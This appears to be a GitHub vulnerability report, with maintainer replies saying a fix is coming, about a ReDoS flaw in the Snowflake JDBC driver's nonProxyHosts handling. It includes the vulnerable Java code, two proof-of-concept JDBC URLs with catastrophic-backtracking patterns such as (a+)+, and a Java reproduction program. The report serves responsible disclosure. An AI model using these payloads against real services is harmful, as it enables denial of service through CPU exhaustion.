SNOW-3104251: ReDoS Vulnerability in Snowflake JDBC Driver Triggerable via JDBC URL

[Fushuling]

1. Summary

A ReDoS vulnerability exists in logic related to JDBC URL handling and proxy configuration. Specifically, attacker-controlled input from the JDBC URL can be used in regular expression matching operations, allowing malicious patterns to cause catastrophic backtracking and CPU exhaustion.

This issue can be exploited when:

• nonProxyHosts is supplied via JDBC connection parameters.
• The target host is attacker-controlled (via the JDBC URL host component).
• Both are used together in regex evaluation.

2. Root Cause Analysis

2.1 Regex Matching on nonProxyHosts (Primary Issue)

Affected component:
SdkProxyRoutePlanner

private boolean doesTargetMatchNonProxyHosts(HttpHost target) {
  if (hostPatterns == null) {
    return false;
  }
  String targetHost = target.getHostName().toLowerCase();
  return Arrays.stream(hostPatterns).anyMatch(targetHost::matches);
}

Key observations:

• hostPatterns originates from the nonProxyHosts connection parameter.
• The implementation only replaces * with .*?.
• All other characters remain intact and are interpreted as regex.
• targetHost comes from the JDBC URL host.
• Therefore, both the regex pattern and the matched string are attacker-controlled.

This enables classic ReDoS payload construction.

2.2 Additional Affected Path

Component:
ProxyConfig.isBypassProxy

protected boolean isBypassProxy(String hostname) {
  String nonProxyHosts = getNonProxyHosts().replace(".", "\\.").replace("*", ".*");
  String[] nonProxyHostsArray = nonProxyHosts.split("\\|");
  for (String i : nonProxyHostsArray) {
    if (Pattern.compile(i).matcher(hostname).matches()) {
      return true;
    }
  }
  return false;
}

Although . and * are transformed, other regex metacharacters (e.g., +, ()) remain exploitable and are compiled into regex patterns.

3. Proof of Concept (JDBC URL Only)

POC 1 — Classic Catastrophic Backtracking

JDBC URL (encoded):

jdbc:snowflake://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac/?nonProxyHosts=(a%2B)%2B

Decoded values:

• host: long string of a followed by c
• nonProxyHosts: (a+)+

This pattern combined with the crafted host triggers exponential backtracking in the Java regex engine.

POC 2 — Multiple Amplified Patterns

jdbc:snowflake://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac/?nonProxyHosts=(a%2B)%2B%7C(b%2B)%2B

Decoded:

nonProxyHosts=(a+)+|(b+)+

Each pattern is evaluated sequentially, further increasing CPU consumption.

4. Local Reproduction Test

I reproduced the issue locally using the following Java test case:

import java.sql.DriverManager;

public class snowflake {
    public static void main(String[] args) throws Exception{
        Class.forName("net.snowflake.client.api.driver.SnowflakeDriver");
        String url = "jdbc:snowflake://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac/"
            + "?account=foo"
            + "&user=u"
            + "&password=p"
            + "&useProxy=true"
            + "&proxyHost=127.0.0.1"
            + "&proxyPort=8080"
            + "&nonProxyHosts=(a%2B)%2B";
        DriverManager.getConnection(url);
    }
}

When executed inside Docker, CPU utilization immediately spiked to 100% during connection initialization, confirming the ReDoS condition.

5. Impact

• Denial of Service via CPU exhaustion.
• Triggerable through JDBC URL alone.
• Relevant in multi-tenant platforms, user-supplied connection configs, or any system that processes untrusted JDBC URLs.

6. Others

I've packaged a Docker environment and recorded a detailed video demonstrating the reproduction; I hope this will be helpful to you.
https://1drv.ms/f/c/6de0e327b7a135f3/IgAP_W9EWhhNQJLtTFJECgOyAZBUJ0R5M-z88TJZuPDkbjY?e=uOMLyN

Similar Redos vulnerabilities caused by user-controlled regular expressions have been exposed in other well-known open-source projects, such as VLLM (GHSA-w6q7-j642-7c25) and h2o-3 (https://huntr.com/bounties/ce7bd2d6-fd38-440d-a91a-dd8f3fc06bc2). Therefore, I believe that avoiding this problem is the mainstream approach. I tried to submit the vulnerability through the HackerOne platform but was rejected. However, I still believe that this is a bug that definitely needs to be fixed.

[sfc-gh-dszmolka]

thank you for reporting this @Fushuling and providing all the details. We'll look into this.

[sfc-gh-dszmolka]

this is now fixed with #2506 and will be available with the next release. Will keep this thread posted.